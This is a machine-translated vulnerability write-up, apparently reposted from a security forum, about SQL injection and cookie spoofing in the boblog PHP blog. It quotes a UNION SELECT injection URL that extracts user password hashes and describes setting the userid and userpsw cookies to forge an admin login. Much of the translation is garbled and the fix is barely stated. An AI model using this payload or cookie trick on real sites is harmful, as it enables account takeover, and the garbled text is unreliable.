COOKIE spoofing vulnerability after boblog injection and repair

Source: Internet
Author: User

Author: Mind
I have read some comments from my xhming article.
Download boblog again.
The injection vulnerability has been identified by xhming.
Previously, I found an injection vulnerability similar to this vulnerability.
Unfortunately ....
View the code in the classic dialog box
Index. php
1
If ($ go) @ list ($ job, $ itemid) = @ explode (_, basename ($ go ));
The original injection statement is index. php? Go = category_0) union select 1, concat (userpsw) from boblog_user % 23
That is, after explode processing, if the database is boblog_user, it will only become a boblog.
What's more, injection vulnerabilities exist.
'Category 'in ({$ all_needed_cates })");
It will not be because of the # symbol, but the subsequent things will only become from boblog_user #) PS: Probably because I won't bypass it here

Cookie spoofing vulnerability is simple
If a cow is successfully injected, the MD5 password is not required to run.
Direct
Setcookie (userid, 1 ,);
Setcookie (userpsw, md5 ciphertext ,);
Yes ......

Fix :..... Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.